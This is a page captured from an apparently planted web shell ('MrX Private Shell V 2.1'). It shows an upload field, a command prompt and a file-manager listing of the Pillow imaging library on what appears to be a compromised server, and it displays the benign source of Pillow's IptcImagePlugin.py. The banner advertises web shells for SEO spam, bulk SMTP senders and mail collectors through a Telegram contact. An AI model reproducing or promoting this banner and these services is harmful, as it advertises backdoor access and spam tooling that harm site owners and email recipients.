__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#
# The Python Imaging Library.
# $Id$
#
# IPTC/NAA file handling
#
# history:
# 1995-10-01 fl   Created
# 1998-03-09 fl   Cleaned up and added to PIL
# 2002-06-18 fl   Added getiptcinfo helper
#
# Copyright (c) Secret Labs AB 1997-2002.
# Copyright (c) Fredrik Lundh 1995.
#
# See the README file for information on usage and redistribution.
#
from __future__ import annotations

from collections.abc import Sequence
from io import BytesIO
from typing import cast

from . import Image, ImageFile
from ._binary import i16be as i16
from ._binary import i32be as i32
from ._deprecate import deprecate

COMPRESSION = {1: "raw", 5: "jpeg"}


def __getattr__(name: str) -> bytes:
    if name == "PAD":
        deprecate("IptcImagePlugin.PAD", 12)
        return b"\0\0\0\0"
    msg = f"module '{__name__}' has no attribute '{name}'"
    raise AttributeError(msg)


#
# Helpers


def _i(c: bytes) -> int:
    return i32((b"\0\0\0\0" + c)[-4:])


def _i8(c: int | bytes) -> int:
    return c if isinstance(c, int) else c[0]


def i(c: bytes) -> int:
    """.. deprecated:: 10.2.0"""
    deprecate("IptcImagePlugin.i", 12)
    return _i(c)


def dump(c: Sequence[int | bytes]) -> None:
    """.. deprecated:: 10.2.0"""
    deprecate("IptcImagePlugin.dump", 12)
    for i in c:
        print(f"{_i8(i):02x}", end=" ")
    print()


##
# Image plugin for IPTC/NAA datastreams.  To read IPTC/NAA fields
# from TIFF and JPEG files, use the <b>getiptcinfo</b> function.


class IptcImageFile(ImageFile.ImageFile):
    format = "IPTC"
    format_description = "IPTC/NAA"

    def getint(self, key: tuple[int, int]) -> int:
        return _i(self.info[key])

    def field(self) -> tuple[tuple[int, int] | None, int]:
        #
        # get a IPTC field header
        s = self.fp.read(5)
        if not s.strip(b"\x00"):
            return None, 0

        tag = s[1], s[2]

        # syntax
        if s[0] != 0x1C or tag[0] not in [1, 2, 3, 4, 5, 6, 7, 8, 9, 240]:
            msg = "invalid IPTC/NAA file"
            raise SyntaxError(msg)

        # field size
        size = s[3]
        if size > 132:
            msg = "illegal field length in IPTC/NAA file"
            raise OSError(msg)
        elif size == 128:
            size = 0
        elif size > 128:
            size = _i(self.fp.read(size - 128))
        else:
            size = i16(s, 3)

        return tag, size

    def _open(self) -> None:
        # load descriptive fields
        while True:
            offset = self.fp.tell()
            tag, size = self.field()
            if not tag or tag == (8, 10):
                break
            if size:
                tagdata = self.fp.read(size)
            else:
                tagdata = None
            if tag in self.info:
                if isinstance(self.info[tag], list):
                    self.info[tag].append(tagdata)
                else:
                    self.info[tag] = [self.info[tag], tagdata]
            else:
                self.info[tag] = tagdata

        # mode
        layers = self.info[(3, 60)][0]
        component = self.info[(3, 60)][1]
        if (3, 65) in self.info:
            id = self.info[(3, 65)][0] - 1
        else:
            id = 0
        if layers == 1 and not component:
            self._mode = "L"
        elif layers == 3 and component:
            self._mode = "RGB"[id]
        elif layers == 4 and component:
            self._mode = "CMYK"[id]

        # size
        self._size = self.getint((3, 20)), self.getint((3, 30))

        # compression
        try:
            compression = COMPRESSION[self.getint((3, 120))]
        except KeyError as e:
            msg = "Unknown IPTC image compression"
            raise OSError(msg) from e

        # tile
        if tag == (8, 10):
            self.tile = [
                ImageFile._Tile("iptc", (0, 0) + self.size, offset, compression)
            ]

    def load(self) -> Image.core.PixelAccess | None:
        if len(self.tile) != 1 or self.tile[0][0] != "iptc":
            return ImageFile.ImageFile.load(self)

        offset, compression = self.tile[0][2:]

        self.fp.seek(offset)

        # Copy image data to temporary file
        o = BytesIO()
        if compression == "raw":
            # To simplify access to the extracted file,
            # prepend a PPM header
            o.write(b"P5\n%d %d\n255\n" % self.size)
        while True:
            type, size = self.field()
            if type != (8, 10):
                break
            while size > 0:
                s = self.fp.read(min(size, 8192))
                if not s:
                    break
                o.write(s)
                size -= len(s)

        with Image.open(o) as _im:
            _im.load()
            self.im = _im.im
        return None


Image.register_open(IptcImageFile.format, IptcImageFile)

Image.register_extension(IptcImageFile.format, ".iim")


def getiptcinfo(
    im: ImageFile.ImageFile,
) -> dict[tuple[int, int], bytes | list[bytes]] | None:
    """
    Get IPTC information from TIFF, JPEG, or IPTC file.

    :param im: An image containing IPTC data.
    :returns: A dictionary containing IPTC information, or None if
        no IPTC information block was found.
    """
    from . import JpegImagePlugin, TiffImagePlugin

    data = None

    info: dict[tuple[int, int], bytes | list[bytes]] = {}
    if isinstance(im, IptcImageFile):
        # return info dictionary right away
        for k, v in im.info.items():
            if isinstance(k, tuple):
                info[k] = v
        return info

    elif isinstance(im, JpegImagePlugin.JpegImageFile):
        # extract the IPTC/NAA resource
        photoshop = im.info.get("photoshop")
        if photoshop:
            data = photoshop.get(0x0404)

    elif isinstance(im, TiffImagePlugin.TiffImageFile):
        # get raw data from the IPTC/NAA tag (PhotoShop tags the data
        # as 4-byte integers, so we cannot use the get method...)
        try:
            data = im.tag_v2[TiffImagePlugin.IPTC_NAA_CHUNK]
        except KeyError:
            pass

    if data is None:
        return None  # no properties

    # create an IptcImagePlugin object without initializing it
    class FakeImage:
        pass

    fake_im = FakeImage()
    fake_im.__class__ = IptcImageFile  # type: ignore[assignment]
    iptc_im = cast(IptcImageFile, fake_im)

    # parse the IPTC information chunk
    iptc_im.info = {}
    iptc_im.fp = BytesIO(data)

    try:
        iptc_im._open()
    except (IndexError, KeyError):
        pass  # expected failure

    for k, v in iptc_im.info.items():
        if isinstance(k, tuple):
            info[k] = v
    return info

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
BdfFontFile.py File 3.4 KB 0644
BlpImagePlugin.py File 16.29 KB 0644
BmpImagePlugin.py File 19.29 KB 0644
BufrStubImagePlugin.py File 1.71 KB 0644
ContainerIO.py File 4.5 KB 0644
CurImagePlugin.py File 1.75 KB 0644
DcxImagePlugin.py File 1.99 KB 0644
DdsImagePlugin.py File 16.54 KB 0644
EpsImagePlugin.py File 15.98 KB 0644
ExifTags.py File 9.7 KB 0644
FitsImagePlugin.py File 4.53 KB 0644
FliImagePlugin.py File 4.57 KB 0644
FontFile.py File 3.49 KB 0644
FpxImagePlugin.py File 7.12 KB 0644
FtexImagePlugin.py File 3.44 KB 0644
GbrImagePlugin.py File 2.94 KB 0644
GdImageFile.py File 2.74 KB 0644
GifImagePlugin.py File 40.48 KB 0644
GimpGradientFile.py File 3.81 KB 0644
GimpPaletteFile.py File 1.39 KB 0644
GribStubImagePlugin.py File 1.71 KB 0644
Hdf5StubImagePlugin.py File 1.71 KB 0644
IcnsImagePlugin.py File 12.65 KB 0644
IcoImagePlugin.py File 12.18 KB 0644
ImImagePlugin.py File 11.17 KB 0644
Image.py File 142.7 KB 0644
ImageChops.py File 7.76 KB 0644
ImageCms.py File 41.03 KB 0644
ImageColor.py File 9.22 KB 0644
ImageDraw.py File 41.28 KB 0644
ImageDraw2.py File 7.06 KB 0644
ImageEnhance.py File 3.54 KB 0644
ImageFile.py File 25.51 KB 0644
ImageFilter.py File 18.27 KB 0644
ImageFont.py File 62.75 KB 0644
ImageGrab.py File 5.86 KB 0644
ImageMath.py File 11.66 KB 0644
ImageMode.py File 2.62 KB 0644
ImageMorph.py File 8.36 KB 0644
ImageOps.py File 24.5 KB 0644
ImagePalette.py File 8.79 KB 0644
ImagePath.py File 371 B 0644
ImageQt.py File 6.67 KB 0644
ImageSequence.py File 2.15 KB 0644
ImageShow.py File 9.76 KB 0644
ImageStat.py File 5.2 KB 0644
ImageTransform.py File 3.79 KB 0644
ImageWin.py File 7.9 KB 0644
ImtImagePlugin.py File 2.6 KB 0644
IptcImagePlugin.py File 6.51 KB 0644
Jpeg2KImagePlugin.py File 13.56 KB 0644
JpegImagePlugin.py File 31.05 KB 0644
JpegPresets.py File 12.09 KB 0644
McIdasImagePlugin.py File 1.89 KB 0644
MicImagePlugin.py File 2.62 KB 0644
MpegImagePlugin.py File 2.05 KB 0644
MpoImagePlugin.py File 6.07 KB 0644
MspImagePlugin.py File 5.74 KB 0644
PSDraw.py File 6.75 KB 0644
PaletteFile.py File 1.18 KB 0644
PalmImagePlugin.py File 9.13 KB 0644
PcdImagePlugin.py File 1.55 KB 0644
PcfFontFile.py File 6.98 KB 0644
PcxImagePlugin.py File 6.1 KB 0644
PdfImagePlugin.py File 9.13 KB 0644
PdfParser.py File 37.09 KB 0644
PixarImagePlugin.py File 1.71 KB 0644
PngImagePlugin.py File 49.67 KB 0644
PpmImagePlugin.py File 12.06 KB 0644
PsdImagePlugin.py File 8.42 KB 0644
QoiImagePlugin.py File 4.08 KB 0644
SgiImagePlugin.py File 6.57 KB 0644
SpiderImagePlugin.py File 9.9 KB 0644
SunImagePlugin.py File 4.48 KB 0644
TarIO.py File 1.34 KB 0644
TgaImagePlugin.py File 6.82 KB 0644
TiffImagePlugin.py File 81.44 KB 0644
TiffTags.py File 16.68 KB 0644
WalImageFile.py File 5.57 KB 0644
WebPImagePlugin.py File 9.83 KB 0644
WmfImagePlugin.py File 5.02 KB 0644
XVThumbImagePlugin.py File 2.06 KB 0644
XbmImagePlugin.py File 2.6 KB 0644
XpmImagePlugin.py File 3.15 KB 0644
__init__.py File 1.96 KB 0644
__main__.py File 133 B 0644
_binary.py File 2.49 KB 0644
_deprecate.py File 1.89 KB 0644
_imaging.cpython-313-x86_64-linux-gnu.so File 750.65 KB 0644
_imaging.pyi File 868 B 0644
_imagingcms.cpython-313-x86_64-linux-gnu.so File 41.73 KB 0644
_imagingcms.pyi File 4.29 KB 0644
_imagingft.cpython-313-x86_64-linux-gnu.so File 45.63 KB 0644
_imagingft.pyi File 1.75 KB 0644
_imagingmath.cpython-313-x86_64-linux-gnu.so File 34.48 KB 0644
_imagingmath.pyi File 63 B 0644
_imagingmorph.cpython-313-x86_64-linux-gnu.so File 14.48 KB 0644
_imagingmorph.pyi File 63 B 0644
_imagingtk.pyi File 63 B 0644
_tkinter_finder.py File 540 B 0644
_typing.py File 1.21 KB 0644
_util.py File 635 B 0644
_version.py File 87 B 0644
_webp.cpython-313-x86_64-linux-gnu.so File 23.97 KB 0644
_webp.pyi File 63 B 0644
features.py File 11 KB 0644
py.typed File 0 B 0644
report.py File 100 B 0644
Filemanager